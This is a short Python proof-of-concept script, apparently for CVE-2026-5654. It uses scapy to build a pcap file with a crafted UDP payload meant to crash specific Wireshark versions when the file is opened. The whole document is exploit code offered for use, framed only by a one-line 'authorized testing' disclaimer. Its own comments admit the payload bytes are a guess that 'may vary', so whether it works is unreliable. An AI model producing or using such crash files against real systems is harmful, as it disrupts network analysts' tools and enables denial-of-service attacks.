The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-5654 (Wireshark AMR-NB Crash)
# This script creates a malicious packet designed to trigger the crash.
# Usage: python3 poc.py -> Open cve_2026_5654.pcap with vulnerable Wireshark
from scapy.all import Ether, IP, UDP, Raw, wrpcap
import sys
def generate_malicious_pcap(filename="cve_2026_5654.pcap"):
# Construct a basic packet frame
# AMR-NB often runs over RTP/UDP, but the dissectors handle Raw input
pkt = Ether() / IP(dst="127.0.0.1") / UDP(sport=1234, dport=5678)
# Malicious payload targeting the AMR-NB codec parser
# This payload simulates a malformed frame header that triggers the bug.
# Exact bytes may vary based on specific dissection logic.
# 0x3C is a common AMR-NB payload header byte, followed by garbage data
malicious_payload = b"\x3c" + b"\x00" * 10 + b"\xff" * 50
pkt = pkt / Raw(load=malicious_payload)
# Write the packet to a pcap file
wrpcap(filename, [pkt])
print(f"[+] PoC file generated: {filename}")
print(f"[+] Open this file in Wireshark 4.4.0 - 4.4.14 or 4.6.0 - 4.6.4 to reproduce the crash.")
if __name__ == "__main__":
generate_malicious_pcap()